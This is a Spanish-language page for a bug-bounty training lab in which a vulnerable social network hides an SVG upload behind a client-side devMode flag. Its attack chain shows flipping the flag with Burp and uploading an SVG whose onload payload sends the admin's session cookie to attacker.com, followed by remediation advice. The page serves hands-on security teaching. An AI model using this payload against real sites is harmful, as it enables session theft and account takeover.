Client-Side Permission Bypass + SVG XSS + Cookie Theft
Red social tipo Threads donde un flag de devMode oculta la funcionalidad de subida de archivos. Activandolo via Burp se puede subir un SVG malicioso con JavaScript que roba la cookie de sesion del admin.
Este hackeo se reportó sin recompensa
Aprende a encontrar este bug
Un hackeo real, reproducido para que lo practiques.
Crea tu cuenta y practica bugs reales que se pagaron. Descarga el entorno, encuéntralo y aprende la técnica exacta — tu camino a tu primer bounty.
hunters entrenando
labs de hackeos reales
completaciones
pagados por estos bugs
Acceso a todos los labs · sin permanencia · cancela cuando quieras
Hackers que lo han resuelto· 8
Objetivos
Logro que recibirás
Cuando resuelvas este lab desbloqueas este logro compartible

Writeups de la comunidad
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Despliegue
# Opcion 1: autodeploy
./autodeploy.sh
# Opcion 2: manual
docker compose up --build
# Acceder
http://localhost:1600
Compatible con macOS, Linux y Windows (Docker Desktop / WSL).
Para parar:
./autodeploy.sh destroy
# o: docker compose down -v
Contenido del Lab
La aplicacion
Threadz es una red social con posts, feed publico y funcionalidades ocultas de desarrollo (upload SVG) protegidas solo por un flag del cliente.
La vulnerabilidad
La respuesta de login/register incluye devMode: false. El frontend oculta el boton de Upload si devMode es false. Modificando la respuesta a devMode: true, aparece la funcionalidad de subir SVGs. Los SVGs se renderizan con <object> (no <img>), permitiendo ejecucion de JavaScript. La cookie de auth NO es httpOnly, por lo que un SVG malicioso puede robarla.
Cadena de ataque
1. Registrarse → devMode: false
2. Burp Match & Replace: devMode.*false → devMode.*true
3. Subir SVG: <svg onload=\"fetch('https://attacker.com/'+document.cookie)\">
4. Admin bot visita el SVG → Cookie robada
5. Usar cookie del admin → Acceso total
6. Flag en el panel
Solucion interactiva
Accede a /writeup dentro de la aplicacion para una guia paso a paso con botones interactivos.
Remediacion
- Nunca usar flags del cliente para controlar acceso a funcionalidades
- Marcar cookies como httpOnly y Secure
- Sanitizar SVGs antes de renderizarlos
- Usar Content-Security-Policy para prevenir inline scripts
- Validar permisos de subida en el servidor
